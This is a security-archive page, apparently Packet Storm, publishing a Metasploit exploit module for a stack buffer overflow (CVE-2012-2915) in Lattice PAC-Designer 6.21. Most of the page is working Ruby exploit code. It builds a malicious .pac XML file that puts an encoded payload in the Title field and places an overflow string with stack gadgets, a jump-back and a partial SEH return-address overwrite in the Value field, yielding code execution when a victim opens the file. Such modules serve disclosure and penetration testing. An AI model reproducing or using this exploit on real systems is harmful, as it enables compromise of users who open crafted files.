what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow

Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow
Posted Jun 14, 2012
Authored by unknown, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Lattice Semiconductor PAC-Designer 6.21. As a .pac file, when supplying a long string of data to the 'value' field under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption on the stack, which results in arbitrary code execution under the context of the user.

tags | exploit, arbitrary, code execution
advisories | CVE-2012-2915, OSVDB-82001
SHA-256 | 4f39a6ba7a1c027c53d6c89df81d4f572dc43a0a4728c3bef5f6473a11849cc1

Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
6.21. As a .pac file, when supplying a long string of data to the 'value' field
under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
on the stack, which results in arbitrary code execution under the context of the
user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', #Discovery
'juan vazquez', #Metasploit
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-2915'],
['OSVDB', '82001'],
['EDB', '19006'],
['BID', '53566'],
['URL', 'http://secunia.com/advisories/48741']
],
'Payload' =>
{
'BadChars' => "\x00\x3c\x3e",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
[
'PAC-Designer 6.21 on Windows XP SP3',
{
# P/P/R in PACD621.exe
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
'Ret' => 0x00805020
}
],
],
'Privileged' => false,
'DisclosureDate' => "May 16 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
], self.class)
end

def exploit
# The payload is placed in the <title> field
p = payload.encoded

# The trigger is placed in the <value> field, which will jmp to our
# payload in the <title> field.
buf = "\x5f" #POP EDI
buf << "\x5f" #POP EDI
buf << "\x5c" #POP ESP
buf << "\x61"*6 #POPAD x 6
buf << "\x51" #PUSH ECX
buf << "\xc3" #RET
buf << rand_text_alpha(96-buf.length, payload_badchars)
buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}" #Jmp back to the beginning of the buffer
buf << [target.ret].pack('V')[0,3] # Partial overwrite

xml = %Q|<?xml version="1.0"?>
<PacDesignData>
<DocFmtVersion>1</DocFmtVersion>
<DeviceType>ispPAC-CLK5410D</DeviceType>
<CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
<SummaryInformation>
<Title>#{p}</Title>
<Author>#{Rex::Text.rand_text_alpha(6)}</Author>
</SummaryInformation>

<SymbolicSchematicData>
<Symbol>
<SymKey>153</SymKey>
<NameText>Profile 0 Ref Frequency</NameText>
<Value>#{buf}</Value>
</Symbol>
</SymbolicSchematicData>
</PacDesignData>|

file_create(xml)
end
end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close